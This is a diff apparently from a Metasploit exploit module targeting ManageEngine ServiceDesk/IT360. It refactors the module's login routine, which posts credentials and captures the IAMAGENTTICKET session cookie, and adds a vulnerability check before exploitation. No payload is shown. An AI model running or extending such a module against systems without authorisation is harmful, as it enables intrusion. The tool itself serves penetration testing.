@@ -163,29 +163,25 @@ def authenticate_it360(port, path, username, password)
163
163
}
164
164
else
165
165
vars_post = {
166
- 'LOGIN_ID' => username ,
167
- 'PASSWORD' => password ,
168
- 'isADEnabled' => 'true' ,
169
- 'domainName' => datastore [ 'DOMAIN_NAME' ]
166
+ 'LOGIN_ID' => username ,
167
+ 'PASSWORD' => password ,
168
+ 'isADEnabled' => 'true' ,
169
+ 'domainName' => datastore [ 'DOMAIN_NAME' ]
170
170
}
171
171
end
172
172
173
- sd_port = datastore [ 'RPORT' ]
174
- datastore [ 'RPORT' ] = port
175
-
176
173
res = send_request_cgi ( {
174
+ 'rport' => port ,
177
175
'method' => 'POST' ,
178
- 'uri' => normalize_uri ( path ) ,
176
+ 'uri' => normalize_uri ( path ) ,
179
177
'vars_get' => {
180
- 'service' => 'ServiceDesk' ,
181
- 'furl' => '/' ,
178
+ 'service' => 'ServiceDesk' ,
179
+ 'furl' => '/' ,
182
180
'timestamp' => Time . now . to_i
183
181
} ,
184
182
'vars_post' => vars_post
185
183
} )
186
184
187
- datastore [ 'RPORT' ] = sd_port
188
-
189
185
if res && res . get_cookies . to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w ]{9,})/
190
186
# /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
191
187
return res . get_cookies
@@ -211,7 +207,7 @@ def get_it360_cookie_name
211
207
212
208
def login_it360
213
209
# Do we already have a valid cookie? If yes, just return that.
214
- if datastore [ 'IAMAGENTTICKET' ] != nil
210
+ if datastore [ 'IAMAGENTTICKET' ]
215
211
cookie_name = get_it360_cookie_name
216
212
cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore [ 'IAMAGENTTICKET' ] + ';'
217
213
return cookie
@@ -230,6 +226,7 @@ def login_it360
230
226
end
231
227
232
228
cookie = authenticate_it360 ( uri [ 0 ] , uri [ 1 ] , datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
229
+
233
230
if cookie != nil
234
231
return cookie
235
232
elsif datastore [ 'USERNAME' ] == 'guest' && datastore [ 'JSESSIONID' ] == nil
@@ -371,6 +368,11 @@ def pick_target
371
368
372
369
373
370
def exploit
371
+ if check == Exploit ::CheckCode ::Safe
372
+ fail_with ( Failure ::NotVulnerable , "#{ peer } - Target not vulnerable" )
373
+ end
374
+
375
+ print_status ( "#{ peer } - Selecting target..." )
374
376
@my_target = pick_target
375
377
print_status ( "#{ peer } - Selected target #{ @my_target . name } " )
376
378
@@ -379,6 +381,7 @@ def exploit
379
381
else
380
382
cookie = login
381
383
end
384
+
382
385
if cookie == nil
383
386
fail_with ( Exploit ::Failure ::Unknown , "#{ peer } - Failed to authenticate" )
384
387
end
0 commit comments